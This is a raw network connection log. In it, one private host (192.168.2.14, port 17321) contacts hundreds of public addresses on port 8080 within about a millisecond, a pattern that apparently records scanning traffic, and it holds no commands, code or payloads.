Mar 21, 2024 05:21:09.755642891 CET	17321	8080	192.168.2.14	184.191.160.124
Mar 21, 2024 05:21:09.755644083 CET	17321	8080	192.168.2.14	172.211.253.117
Mar 21, 2024 05:21:09.755651951 CET	17321	8080	192.168.2.14	172.74.124.17
Mar 21, 2024 05:21:09.755661964 CET	17321	8080	192.168.2.14	184.138.92.159
Mar 21, 2024 05:21:09.755671024 CET	17321	8080	192.168.2.14	184.190.242.190
Mar 21, 2024 05:21:09.755686045 CET	17321	8080	192.168.2.14	172.230.150.31
Mar 21, 2024 05:21:09.755690098 CET	17321	8080	192.168.2.14	172.205.31.8
Mar 21, 2024 05:21:09.755702019 CET	17321	8080	192.168.2.14	184.105.31.115
Mar 21, 2024 05:21:09.755707026 CET	17321	8080	192.168.2.14	98.60.87.195
Mar 21, 2024 05:21:09.755708933 CET	17321	8080	192.168.2.14	184.246.203.194
Mar 21, 2024 05:21:09.755714893 CET	17321	8080	192.168.2.14	172.24.83.62
Mar 21, 2024 05:21:09.755717993 CET	17321	8080	192.168.2.14	184.20.150.133
Mar 21, 2024 05:21:09.755737066 CET	17321	8080	192.168.2.14	172.229.160.185
Mar 21, 2024 05:21:09.755737066 CET	17321	8080	192.168.2.14	172.128.98.5
Mar 21, 2024 05:21:09.755737066 CET	17321	8080	192.168.2.14	98.12.22.123
Mar 21, 2024 05:21:09.755742073 CET	17321	8080	192.168.2.14	172.119.51.241
Mar 21, 2024 05:21:09.755743027 CET	17321	8080	192.168.2.14	172.109.201.70
Mar 21, 2024 05:21:09.755750895 CET	17321	8080	192.168.2.14	98.143.115.26
Mar 21, 2024 05:21:09.755750895 CET	17321	8080	192.168.2.14	172.139.115.210
Mar 21, 2024 05:21:09.755750895 CET	17321	8080	192.168.2.14	98.163.213.229
Mar 21, 2024 05:21:09.755750895 CET	17321	8080	192.168.2.14	184.213.89.213
Mar 21, 2024 05:21:09.755750895 CET	17321	8080	192.168.2.14	98.221.235.184
Mar 21, 2024 05:21:09.755772114 CET	17321	8080	192.168.2.14	98.88.245.141
Mar 21, 2024 05:21:09.755774021 CET	17321	8080	192.168.2.14	184.136.80.245
Mar 21, 2024 05:21:09.755785942 CET	17321	8080	192.168.2.14	184.118.140.199
Mar 21, 2024 05:21:09.755793095 CET	17321	8080	192.168.2.14	184.11.122.110
Mar 21, 2024 05:21:09.755795002 CET	17321	8080	192.168.2.14	172.223.15.64
Mar 21, 2024 05:21:09.755803108 CET	17321	8080	192.168.2.14	172.151.176.128
Mar 21, 2024 05:21:09.755805969 CET	17321	8080	192.168.2.14	184.88.47.214
Mar 21, 2024 05:21:09.755811930 CET	17321	8080	192.168.2.14	172.43.114.59
Mar 21, 2024 05:21:09.755819082 CET	17321	8080	192.168.2.14	98.183.195.1
Mar 21, 2024 05:21:09.755826950 CET	17321	8080	192.168.2.14	184.126.205.81
Mar 21, 2024 05:21:09.755836010 CET	17321	8080	192.168.2.14	98.88.24.2
Mar 21, 2024 05:21:09.755836010 CET	17321	8080	192.168.2.14	184.19.128.141
Mar 21, 2024 05:21:09.755850077 CET	17321	8080	192.168.2.14	184.40.190.155
Mar 21, 2024 05:21:09.755851984 CET	17321	8080	192.168.2.14	98.175.213.131
Mar 21, 2024 05:21:09.755870104 CET	17321	8080	192.168.2.14	172.37.80.170
Mar 21, 2024 05:21:09.755872965 CET	17321	8080	192.168.2.14	98.187.223.122
Mar 21, 2024 05:21:09.755897999 CET	17321	8080	192.168.2.14	184.129.210.82
Mar 21, 2024 05:21:09.755897999 CET	17321	8080	192.168.2.14	98.158.72.230
Mar 21, 2024 05:21:09.755897999 CET	17321	8080	192.168.2.14	172.194.207.180
Mar 21, 2024 05:21:09.755899906 CET	17321	8080	192.168.2.14	172.114.9.38
Mar 21, 2024 05:21:09.755901098 CET	17321	8080	192.168.2.14	172.156.186.228
Mar 21, 2024 05:21:09.755902052 CET	17321	8080	192.168.2.14	98.121.159.43
Mar 21, 2024 05:21:09.755907059 CET	17321	8080	192.168.2.14	184.57.246.131
Mar 21, 2024 05:21:09.755907059 CET	17321	8080	192.168.2.14	184.59.103.148
Mar 21, 2024 05:21:09.755914927 CET	17321	8080	192.168.2.14	172.41.80.222
Mar 21, 2024 05:21:09.755914927 CET	17321	8080	192.168.2.14	184.161.83.179
Mar 21, 2024 05:21:09.755932093 CET	17321	8080	192.168.2.14	172.34.197.226
Mar 21, 2024 05:21:09.755937099 CET	17321	8080	192.168.2.14	98.49.81.248
Mar 21, 2024 05:21:09.755942106 CET	17321	8080	192.168.2.14	172.159.68.184
Mar 21, 2024 05:21:09.755943060 CET	17321	8080	192.168.2.14	184.114.27.57
Mar 21, 2024 05:21:09.755953074 CET	17321	8080	192.168.2.14	172.32.43.128
Mar 21, 2024 05:21:09.755959034 CET	17321	8080	192.168.2.14	172.78.175.18
Mar 21, 2024 05:21:09.755964994 CET	17321	8080	192.168.2.14	184.36.28.186
Mar 21, 2024 05:21:09.755966902 CET	17321	8080	192.168.2.14	98.28.115.26
Mar 21, 2024 05:21:09.755966902 CET	17321	8080	192.168.2.14	98.252.177.36
Mar 21, 2024 05:21:09.755976915 CET	17321	8080	192.168.2.14	184.101.74.196
Mar 21, 2024 05:21:09.755984068 CET	17321	8080	192.168.2.14	184.104.213.158
Mar 21, 2024 05:21:09.755992889 CET	17321	8080	192.168.2.14	98.31.153.22
Mar 21, 2024 05:21:09.755996943 CET	17321	8080	192.168.2.14	172.89.114.147
Mar 21, 2024 05:21:09.756010056 CET	17321	8080	192.168.2.14	184.91.207.234
Mar 21, 2024 05:21:09.756010056 CET	17321	8080	192.168.2.14	184.143.200.98
Mar 21, 2024 05:21:09.756017923 CET	17321	8080	192.168.2.14	184.147.21.13
Mar 21, 2024 05:21:09.756021023 CET	17321	8080	192.168.2.14	184.162.240.245
Mar 21, 2024 05:21:09.756027937 CET	17321	8080	192.168.2.14	172.160.131.9
Mar 21, 2024 05:21:09.756030083 CET	17321	8080	192.168.2.14	172.95.111.151
Mar 21, 2024 05:21:09.756041050 CET	17321	8080	192.168.2.14	184.221.203.194
Mar 21, 2024 05:21:09.756041050 CET	17321	8080	192.168.2.14	172.128.34.71
Mar 21, 2024 05:21:09.756041050 CET	17321	8080	192.168.2.14	98.39.91.29
Mar 21, 2024 05:21:09.756051064 CET	17321	8080	192.168.2.14	98.106.254.0
Mar 21, 2024 05:21:09.756057978 CET	17321	8080	192.168.2.14	172.248.82.47
Mar 21, 2024 05:21:09.756072044 CET	17321	8080	192.168.2.14	184.234.55.161
Mar 21, 2024 05:21:09.756073952 CET	17321	8080	192.168.2.14	172.134.238.208
Mar 21, 2024 05:21:09.756078959 CET	17321	8080	192.168.2.14	184.191.194.110
Mar 21, 2024 05:21:09.756083965 CET	17321	8080	192.168.2.14	98.7.79.54
Mar 21, 2024 05:21:09.756092072 CET	17321	8080	192.168.2.14	184.232.196.97
Mar 21, 2024 05:21:09.756105900 CET	17321	8080	192.168.2.14	172.5.104.155
Mar 21, 2024 05:21:09.756110907 CET	17321	8080	192.168.2.14	184.255.157.167
Mar 21, 2024 05:21:09.756119013 CET	17321	8080	192.168.2.14	98.145.233.246
Mar 21, 2024 05:21:09.756124020 CET	17321	8080	192.168.2.14	184.252.16.76
Mar 21, 2024 05:21:09.756129026 CET	17321	8080	192.168.2.14	98.61.21.82
Mar 21, 2024 05:21:09.756129026 CET	17321	8080	192.168.2.14	184.113.219.130
Mar 21, 2024 05:21:09.756148100 CET	17321	8080	192.168.2.14	184.216.31.173
Mar 21, 2024 05:21:09.756154060 CET	17321	8080	192.168.2.14	98.229.25.154
Mar 21, 2024 05:21:09.756165981 CET	17321	8080	192.168.2.14	98.19.68.119
Mar 21, 2024 05:21:09.756170034 CET	17321	8080	192.168.2.14	184.139.5.65
Mar 21, 2024 05:21:09.756170034 CET	17321	8080	192.168.2.14	98.214.87.103
Mar 21, 2024 05:21:09.756170034 CET	17321	8080	192.168.2.14	98.126.51.216
Mar 21, 2024 05:21:09.756172895 CET	17321	8080	192.168.2.14	172.203.81.238
Mar 21, 2024 05:21:09.756172895 CET	17321	8080	192.168.2.14	98.88.164.255
Mar 21, 2024 05:21:09.756196022 CET	17321	8080	192.168.2.14	172.156.95.129
Mar 21, 2024 05:21:09.756197929 CET	17321	8080	192.168.2.14	172.246.119.106
Mar 21, 2024 05:21:09.756208897 CET	17321	8080	192.168.2.14	184.26.70.35
Mar 21, 2024 05:21:09.756231070 CET	17321	8080	192.168.2.14	184.201.3.209
Mar 21, 2024 05:21:09.756232977 CET	17321	8080	192.168.2.14	184.211.245.104
Mar 21, 2024 05:21:09.756247997 CET	17321	8080	192.168.2.14	184.38.239.18
Mar 21, 2024 05:21:09.756249905 CET	17321	8080	192.168.2.14	184.222.162.160
Mar 21, 2024 05:21:09.756249905 CET	17321	8080	192.168.2.14	98.124.207.238
Mar 21, 2024 05:21:09.756251097 CET	17321	8080	192.168.2.14	172.252.252.7
Mar 21, 2024 05:21:09.756252050 CET	17321	8080	192.168.2.14	98.136.180.233
Mar 21, 2024 05:21:09.756283998 CET	17321	8080	192.168.2.14	98.175.147.186
Mar 21, 2024 05:21:09.756294012 CET	17321	8080	192.168.2.14	172.72.44.219
Mar 21, 2024 05:21:09.756294012 CET	17321	8080	192.168.2.14	98.237.111.8
Mar 21, 2024 05:21:09.756295919 CET	17321	8080	192.168.2.14	98.233.171.139
Mar 21, 2024 05:21:09.756295919 CET	17321	8080	192.168.2.14	184.226.154.55
Mar 21, 2024 05:21:09.756314993 CET	17321	8080	192.168.2.14	98.118.188.80
Mar 21, 2024 05:21:09.756315947 CET	17321	8080	192.168.2.14	98.117.182.25
Mar 21, 2024 05:21:09.756315947 CET	17321	8080	192.168.2.14	184.219.53.38
Mar 21, 2024 05:21:09.756306887 CET	17321	8080	192.168.2.14	184.75.109.104
Mar 21, 2024 05:21:09.756306887 CET	17321	8080	192.168.2.14	184.140.116.253
Mar 21, 2024 05:21:09.756319046 CET	17321	8080	192.168.2.14	184.104.245.34
Mar 21, 2024 05:21:09.756306887 CET	17321	8080	192.168.2.14	184.5.252.43
Mar 21, 2024 05:21:09.756319046 CET	17321	8080	192.168.2.14	172.208.184.176
Mar 21, 2024 05:21:09.756320953 CET	17321	8080	192.168.2.14	172.90.156.241
Mar 21, 2024 05:21:09.756320000 CET	17321	8080	192.168.2.14	184.117.216.180
Mar 21, 2024 05:21:09.756320953 CET	17321	8080	192.168.2.14	98.198.248.84
Mar 21, 2024 05:21:09.756320000 CET	17321	8080	192.168.2.14	98.181.61.182
Mar 21, 2024 05:21:09.756320000 CET	17321	8080	192.168.2.14	98.42.84.43
Mar 21, 2024 05:21:09.756320000 CET	17321	8080	192.168.2.14	172.33.229.2
Mar 21, 2024 05:21:09.756320000 CET	17321	8080	192.168.2.14	184.69.137.215
Mar 21, 2024 05:21:09.756362915 CET	17321	8080	192.168.2.14	184.6.219.7
Mar 21, 2024 05:21:09.756362915 CET	17321	8080	192.168.2.14	98.47.184.166
Mar 21, 2024 05:21:09.756364107 CET	17321	8080	192.168.2.14	172.55.22.159
Mar 21, 2024 05:21:09.756364107 CET	17321	8080	192.168.2.14	172.218.146.86
Mar 21, 2024 05:21:09.756364107 CET	17321	8080	192.168.2.14	98.55.112.175
Mar 21, 2024 05:21:09.756376982 CET	17321	8080	192.168.2.14	98.67.195.123
Mar 21, 2024 05:21:09.756376982 CET	17321	8080	192.168.2.14	184.116.36.87
Mar 21, 2024 05:21:09.756376982 CET	17321	8080	192.168.2.14	184.236.210.167
Mar 21, 2024 05:21:09.756376982 CET	17321	8080	192.168.2.14	172.233.60.209
Mar 21, 2024 05:21:09.756380081 CET	17321	8080	192.168.2.14	98.45.207.139
Mar 21, 2024 05:21:09.756380081 CET	17321	8080	192.168.2.14	172.61.30.225
Mar 21, 2024 05:21:09.756380081 CET	17321	8080	192.168.2.14	172.164.81.6
Mar 21, 2024 05:21:09.756380081 CET	17321	8080	192.168.2.14	184.6.5.203
Mar 21, 2024 05:21:09.756392002 CET	17321	8080	192.168.2.14	172.193.75.143
Mar 21, 2024 05:21:09.756392002 CET	17321	8080	192.168.2.14	98.251.161.182
Mar 21, 2024 05:21:09.756392956 CET	17321	8080	192.168.2.14	172.203.139.126
Mar 21, 2024 05:21:09.756392956 CET	17321	8080	192.168.2.14	184.155.248.32
Mar 21, 2024 05:21:09.756393909 CET	17321	8080	192.168.2.14	172.15.72.200
Mar 21, 2024 05:21:09.756393909 CET	17321	8080	192.168.2.14	184.187.217.6
Mar 21, 2024 05:21:09.756393909 CET	17321	8080	192.168.2.14	172.135.16.129
Mar 21, 2024 05:21:09.756393909 CET	17321	8080	192.168.2.14	184.61.171.123
Mar 21, 2024 05:21:09.756396055 CET	17321	8080	192.168.2.14	172.138.185.177
Mar 21, 2024 05:21:09.756396055 CET	17321	8080	192.168.2.14	184.60.161.48
Mar 21, 2024 05:21:09.756396055 CET	17321	8080	192.168.2.14	172.220.222.13
Mar 21, 2024 05:21:09.756397009 CET	17321	8080	192.168.2.14	184.157.71.227
Mar 21, 2024 05:21:09.756397009 CET	17321	8080	192.168.2.14	98.225.204.150
Mar 21, 2024 05:21:09.756397009 CET	17321	8080	192.168.2.14	172.8.4.43
Mar 21, 2024 05:21:09.756397009 CET	17321	8080	192.168.2.14	184.14.159.87
Mar 21, 2024 05:21:09.756397009 CET	17321	8080	192.168.2.14	98.83.22.39
Mar 21, 2024 05:21:09.756411076 CET	17321	8080	192.168.2.14	172.157.70.173
Mar 21, 2024 05:21:09.756431103 CET	17321	8080	192.168.2.14	172.32.165.238
Mar 21, 2024 05:21:09.756432056 CET	17321	8080	192.168.2.14	184.25.79.105
Mar 21, 2024 05:21:09.756434917 CET	17321	8080	192.168.2.14	184.233.87.193
Mar 21, 2024 05:21:09.756443024 CET	17321	8080	192.168.2.14	184.66.129.34
Mar 21, 2024 05:21:09.756443024 CET	17321	8080	192.168.2.14	184.129.196.209
Mar 21, 2024 05:21:09.756443024 CET	17321	8080	192.168.2.14	172.120.15.19
Mar 21, 2024 05:21:09.756443977 CET	17321	8080	192.168.2.14	98.220.175.229
Mar 21, 2024 05:21:09.756453991 CET	17321	8080	192.168.2.14	98.244.19.51
Mar 21, 2024 05:21:09.756453991 CET	17321	8080	192.168.2.14	98.202.10.89
Mar 21, 2024 05:21:09.756453991 CET	17321	8080	192.168.2.14	98.136.249.24
Mar 21, 2024 05:21:09.756455898 CET	17321	8080	192.168.2.14	184.230.220.221
Mar 21, 2024 05:21:09.756455898 CET	17321	8080	192.168.2.14	172.235.133.217
Mar 21, 2024 05:21:09.756458044 CET	17321	8080	192.168.2.14	172.192.185.169
Mar 21, 2024 05:21:09.756458044 CET	17321	8080	192.168.2.14	98.207.27.29
Mar 21, 2024 05:21:09.756458044 CET	17321	8080	192.168.2.14	98.117.165.14
Mar 21, 2024 05:21:09.756458998 CET	17321	8080	192.168.2.14	184.96.123.42
Mar 21, 2024 05:21:09.756458998 CET	17321	8080	192.168.2.14	172.3.26.59
Mar 21, 2024 05:21:09.756462097 CET	17321	8080	192.168.2.14	184.3.253.201
Mar 21, 2024 05:21:09.756465912 CET	17321	8080	192.168.2.14	184.252.23.78
Mar 21, 2024 05:21:09.756465912 CET	17321	8080	192.168.2.14	184.79.178.90
Mar 21, 2024 05:21:09.756465912 CET	17321	8080	192.168.2.14	98.89.215.101
Mar 21, 2024 05:21:09.756465912 CET	17321	8080	192.168.2.14	98.105.175.128
Mar 21, 2024 05:21:09.756465912 CET	17321	8080	192.168.2.14	98.253.131.114
Mar 21, 2024 05:21:09.756473064 CET	17321	8080	192.168.2.14	172.68.139.107
Mar 21, 2024 05:21:09.756473064 CET	17321	8080	192.168.2.14	184.117.187.19
Mar 21, 2024 05:21:09.756513119 CET	17321	8080	192.168.2.14	172.0.81.226
Mar 21, 2024 05:21:09.756515980 CET	17321	8080	192.168.2.14	184.31.246.136
Mar 21, 2024 05:21:09.756517887 CET	17321	8080	192.168.2.14	184.75.40.10
Mar 21, 2024 05:21:09.756516933 CET	17321	8080	192.168.2.14	172.177.93.171
Mar 21, 2024 05:21:09.756520033 CET	17321	8080	192.168.2.14	184.35.92.196
Mar 21, 2024 05:21:09.756517887 CET	17321	8080	192.168.2.14	184.111.254.190
Mar 21, 2024 05:21:09.756521940 CET	17321	8080	192.168.2.14	98.126.197.36
Mar 21, 2024 05:21:09.756520033 CET	17321	8080	192.168.2.14	172.244.90.90
Mar 21, 2024 05:21:09.756522894 CET	17321	8080	192.168.2.14	172.209.12.234
Mar 21, 2024 05:21:09.756522894 CET	17321	8080	192.168.2.14	172.49.118.10
Mar 21, 2024 05:21:09.756522894 CET	17321	8080	192.168.2.14	172.25.115.80
Mar 21, 2024 05:21:09.756522894 CET	17321	8080	192.168.2.14	184.167.248.15
Mar 21, 2024 05:21:09.756516933 CET	17321	8080	192.168.2.14	172.42.152.216
Mar 21, 2024 05:21:09.756516933 CET	17321	8080	192.168.2.14	184.32.165.157
Mar 21, 2024 05:21:09.756516933 CET	17321	8080	192.168.2.14	172.215.140.29
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	98.135.174.19
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	184.19.232.239
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	184.10.227.37
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	184.151.186.182
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	172.124.28.139
Mar 21, 2024 05:21:09.756530046 CET	17321	8080	192.168.2.14	172.130.180.101
Mar 21, 2024 05:21:09.756536961 CET	17321	8080	192.168.2.14	98.209.83.252
Mar 21, 2024 05:21:09.756541967 CET	17321	8080	192.168.2.14	184.15.131.44
Mar 21, 2024 05:21:09.756547928 CET	17321	8080	192.168.2.14	184.240.55.221
Mar 21, 2024 05:21:09.756548882 CET	17321	8080	192.168.2.14	98.101.58.6
Mar 21, 2024 05:21:09.756548882 CET	17321	8080	192.168.2.14	98.59.104.149
Mar 21, 2024 05:21:09.756548882 CET	17321	8080	192.168.2.14	98.106.23.182
Mar 21, 2024 05:21:09.756548882 CET	17321	8080	192.168.2.14	98.13.100.113
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	184.247.123.122
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	184.217.163.210
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	172.243.178.225
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	184.206.117.81
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	172.225.243.48
Mar 21, 2024 05:21:09.756553888 CET	17321	8080	192.168.2.14	184.70.63.99
Mar 21, 2024 05:21:09.756551981 CET	17321	8080	192.168.2.14	184.53.96.9
Mar 21, 2024 05:21:09.756553888 CET	17321	8080	192.168.2.14	172.131.97.240
Mar 21, 2024 05:21:09.756556034 CET	17321	8080	192.168.2.14	184.253.63.91
Mar 21, 2024 05:21:09.756556034 CET	17321	8080	192.168.2.14	172.184.2.113
Mar 21, 2024 05:21:09.756556034 CET	17321	8080	192.168.2.14	184.27.61.29
Mar 21, 2024 05:21:09.756592989 CET	17321	8080	192.168.2.14	184.174.8.226
Mar 21, 2024 05:21:09.756592989 CET	17321	8080	192.168.2.14	172.253.111.108
Mar 21, 2024 05:21:09.756592989 CET	17321	8080	192.168.2.14	172.255.181.19
Mar 21, 2024 05:21:09.756594896 CET	17321	8080	192.168.2.14	184.13.119.231
Mar 21, 2024 05:21:09.756607056 CET	17321	8080	192.168.2.14	98.50.20.93
Mar 21, 2024 05:21:09.756607056 CET	17321	8080	192.168.2.14	184.64.51.69
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	98.68.206.13
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	98.108.137.211
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	98.61.157.30
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	184.219.180.182
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	98.160.16.0
Mar 21, 2024 05:21:09.756608963 CET	17321	8080	192.168.2.14	172.230.80.226
Mar 21, 2024 05:21:09.756609917 CET	17321	8080	192.168.2.14	172.175.8.209
Mar 21, 2024 05:21:09.756614923 CET	17321	8080	192.168.2.14	98.98.235.240
Mar 21, 2024 05:21:09.756614923 CET	17321	8080	192.168.2.14	172.199.4.147
Mar 21, 2024 05:21:09.756616116 CET	17321	8080	192.168.2.14	172.26.80.101
Mar 21, 2024 05:21:09.756616116 CET	17321	8080	192.168.2.14	172.186.252.77
Mar 21, 2024 05:21:09.756616116 CET	17321	8080	192.168.2.14	172.15.162.31
Mar 21, 2024 05:21:09.756633043 CET	17321	8080	192.168.2.14	172.3.1.244
Mar 21, 2024 05:21:09.756633043 CET	17321	8080	192.168.2.14	98.24.148.253
Mar 21, 2024 05:21:09.756633043 CET	17321	8080	192.168.2.14	98.130.65.120
Mar 21, 2024 05:21:09.756633043 CET	17321	8080	192.168.2.14	184.16.54.183
Mar 21, 2024 05:21:09.756633997 CET	17321	8080	192.168.2.14	184.157.117.159
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	172.166.162.143
Mar 21, 2024 05:21:09.756635904 CET	17321	8080	192.168.2.14	184.189.234.172
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	184.143.213.62
Mar 21, 2024 05:21:09.756633997 CET	17321	8080	192.168.2.14	172.218.141.148
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	172.93.224.39
Mar 21, 2024 05:21:09.756635904 CET	17321	8080	192.168.2.14	98.127.234.235
Mar 21, 2024 05:21:09.756638050 CET	17321	8080	192.168.2.14	172.164.135.170
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	184.70.98.115
Mar 21, 2024 05:21:09.756633997 CET	17321	8080	192.168.2.14	98.58.213.182
Mar 21, 2024 05:21:09.756635904 CET	17321	8080	192.168.2.14	184.104.180.173
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	184.178.87.41
Mar 21, 2024 05:21:09.756638050 CET	17321	8080	192.168.2.14	98.27.98.101
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	172.203.156.190
Mar 21, 2024 05:21:09.756638050 CET	17321	8080	192.168.2.14	184.212.137.130
Mar 21, 2024 05:21:09.756634951 CET	17321	8080	192.168.2.14	184.64.157.107
Mar 21, 2024 05:21:09.756678104 CET	17321	8080	192.168.2.14	184.154.110.57
Mar 21, 2024 05:21:09.756678104 CET	17321	8080	192.168.2.14	98.44.171.58
Mar 21, 2024 05:21:09.756679058 CET	17321	8080	192.168.2.14	184.81.117.53
Mar 21, 2024 05:21:09.756678104 CET	17321	8080	192.168.2.14	172.29.106.10
Mar 21, 2024 05:21:09.756678104 CET	17321	8080	192.168.2.14	184.204.239.7
Mar 21, 2024 05:21:09.756681919 CET	17321	8080	192.168.2.14	98.154.140.38
Mar 21, 2024 05:21:09.756683111 CET	17321	8080	192.168.2.14	98.241.104.230
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	172.87.52.100
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	98.1.138.244
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	98.230.171.179
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	172.162.205.210
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	172.199.245.250
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	184.177.242.110
Mar 21, 2024 05:21:09.756685019 CET	17321	8080	192.168.2.14	184.5.154.127
Mar 21, 2024 05:21:09.756688118 CET	17321	8080	192.168.2.14	98.148.83.243
Mar 21, 2024 05:21:09.756688118 CET	17321	8080	192.168.2.14	172.5.203.225
Mar 21, 2024 05:21:09.756688118 CET	17321	8080	192.168.2.14	184.28.57.2
Mar 21, 2024 05:21:09.756704092 CET	17321	8080	192.168.2.14	184.86.52.246
Mar 21, 2024 05:21:09.756704092 CET	17321	8080	192.168.2.14	172.83.119.45
Mar 21, 2024 05:21:09.756704092 CET	17321	8080	192.168.2.14	98.243.100.196
Mar 21, 2024 05:21:09.756704092 CET	17321	8080	192.168.2.14	98.168.136.99
Mar 21, 2024 05:21:09.756707907 CET	17321	8080	192.168.2.14	184.183.176.81
Mar 21, 2024 05:21:09.756707907 CET	17321	8080	192.168.2.14	98.102.80.177
Mar 21, 2024 05:21:09.756710052 CET	17321	8080	192.168.2.14	172.236.174.30
Mar 21, 2024 05:21:09.756710052 CET	17321	8080	192.168.2.14	98.134.208.167
Mar 21, 2024 05:21:09.756710052 CET	17321	8080	192.168.2.14	184.127.5.68
Mar 21, 2024 05:21:09.756710052 CET	17321	8080	192.168.2.14	98.83.42.41
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.71.92.121
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	172.125.160.144
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	184.226.240.127
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.158.103.135
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	184.121.162.192
Mar 21, 2024 05:21:09.756717920 CET	17321	8080	192.168.2.14	98.214.52.195
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	98.179.53.94
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.146.17.82
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	98.5.118.220
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.151.50.113
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.153.19.40
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	98.173.179.234
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	172.158.77.228
Mar 21, 2024 05:21:09.756717920 CET	17321	8080	192.168.2.14	184.52.187.5
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	98.190.32.125
Mar 21, 2024 05:21:09.756717920 CET	17321	8080	192.168.2.14	172.107.207.83
Mar 21, 2024 05:21:09.756717920 CET	17321	8080	192.168.2.14	172.215.30.22
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	184.216.56.172
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	98.151.221.62
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	184.216.204.81
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	98.206.58.127
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	98.84.5.43
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	98.171.243.150
Mar 21, 2024 05:21:09.756715059 CET	17321	8080	192.168.2.14	172.75.235.119
Mar 21, 2024 05:21:09.756731987 CET	17321	8080	192.168.2.14	184.250.67.117
Mar 21, 2024 05:21:09.756716013 CET	17321	8080	192.168.2.14	184.101.97.72
Mar 21, 2024 05:21:09.756731987 CET	17321	8080	192.168.2.14	98.216.49.116
Mar 21, 2024 05:21:09.756803036 CET	17321	8080	192.168.2.14	98.199.65.7
Mar 21, 2024 05:21:09.756803036 CET	17321	8080	192.168.2.14	98.15.201.244
Mar 21, 2024 05:21:09.756814957 CET	17321	8080	192.168.2.14	184.192.50.75
Mar 21, 2024 05:21:09.756870985 CET	17321	8080	192.168.2.14	172.203.63.175
Mar 21, 2024 05:21:09.756872892 CET	17321	8080	192.168.2.14	172.219.27.0
Mar 21, 2024 05:21:09.756872892 CET	17321	8080	192.168.2.14	98.106.120.245
Mar 21, 2024 05:21:09.756875038 CET	17321	8080	192.168.2.14	172.64.32.249
Mar 21, 2024 05:21:09.756875038 CET	17321	8080	192.168.2.14	98.236.19.184
Mar 21, 2024 05:21:09.756875992 CET	17321	8080	192.168.2.14	98.35.16.228
Mar 21, 2024 05:21:09.756875038 CET	17321	8080	192.168.2.14	172.224.126.38
Mar 21, 2024 05:21:09.756875038 CET	17321	8080	192.168.2.14	172.88.205.106
Mar 21, 2024 05:21:09.756891966 CET	17321	8080	192.168.2.14	98.168.216.252
Mar 21, 2024 05:21:09.756896019 CET	17321	8080	192.168.2.14	172.222.191.149
Mar 21, 2024 05:21:09.756896019 CET	17321	8080	192.168.2.14	172.177.12.108
Mar 21, 2024 05:21:09.756896019 CET	17321	8080	192.168.2.14	172.98.47.95
Mar 21, 2024 05:21:09.756921053 CET	17321	8080	192.168.2.14	98.53.112.150
Mar 21, 2024 05:21:09.756921053 CET	17321	8080	192.168.2.14	184.185.21.252
Mar 21, 2024 05:21:09.756927967 CET	17321	8080	192.168.2.14	98.49.141.33
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	98.32.106.178
Mar 21, 2024 05:21:09.756927967 CET	17321	8080	192.168.2.14	98.36.204.216
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	172.31.148.14
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	184.35.217.67
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	172.182.90.186
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	184.28.240.220
Mar 21, 2024 05:21:09.756928921 CET	17321	8080	192.168.2.14	184.167.24.57
Mar 21, 2024 05:21:09.756934881 CET	17321	8080	192.168.2.14	184.126.112.71
